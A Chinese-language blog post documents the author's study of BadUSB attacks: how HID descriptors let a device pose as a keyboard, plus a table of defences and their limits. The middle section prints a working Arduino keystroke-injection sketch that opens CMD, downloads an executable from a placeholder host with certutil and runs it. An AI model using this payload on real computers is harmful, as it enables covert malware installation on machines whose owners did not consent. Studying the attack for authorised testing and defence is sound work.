这篇博文缘起公司一位单片机dalao的月末技术分享,当时觉得是挺有意思的,顺带着自己目前的研究方向又是偏向硬件(无线)、协议这一块,又恰好之前公司接了一家公司的授权实地渗透,当时有想法是就是扔badusb(捂脸),这边仅记录下学习过程。
通用串行总线
,是一个外部总线标准,用于规范电脑与外部设备的连接和通讯,这套标准在1994年底由英特尔、康柏、IBM、Microsoft等多家公司联合提出,提出之后经过一个快速的发展成功替代串口和并口等标准,成为一个世界认可的统一标准,被当代的海量设备使用。设备之间无需安装驱动就能进行交互
,基于HID协议的USB设备有USB键盘、鼠标等。利用HID协议无需安装驱动就能进行交互
的功能,通过模拟键盘、鼠标、网卡等设备,最终拿下Shell或者窃取敏感信息等。主机是通过设备固件中的某些描述符来判断USB哪种设备的。这就意味着我们可以利用此漏洞将一些特殊的USB设备伪装成为其他任何设备,例如输入设备、网卡等等。
当插入USB设备后,主机驱动会向设备请求各种描述符来识别设备,为了把一个设备识别成HID类别,设备固件在定义描述符的时候必须遵守HID规约。
这边买的是某宝上制成U盘模样的Arduino Leonardo,50RMB左右就能入手一块了,恶意代码可以用Arduino进行烧录
这边贴的是一个最简单的cmd远端下载恶意文件执行,因为只是为了解原理,所以没有加绕杀软uac的代码:
#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
Keyboard.press('r');//r键
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD.EXE");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("certutil -urlcache -split -f http://yourIP/1.EXE D:\\1.exe"); //服务器下载恶意文件
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("D:\\1.exe");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
这边贴下玄武实验室的视频链接
防护思路 | 缺陷 |
---|---|
USB设备白名单 | USB设备通常没有唯一的序列号 ;操作系统也没有对应的白名单机制 |
屏蔽危险的设备类别,或者完全屏蔽USB设备 | 影响可用性;通用设备易被滥用,如果屏蔽,则基本没有可用USB设备 |
扫描外围设备固件中的恶意代码 | 必须在固件本身的支持下(可能不支持),才能读取USB设备固件 |
对固件更新使用代码签名 | 在微型控制器上难以实现安全的认证系统;大量设备目前已经存在漏洞 |
禁止硬件的固件更新 | 简单有效(但主要局限于新设备) |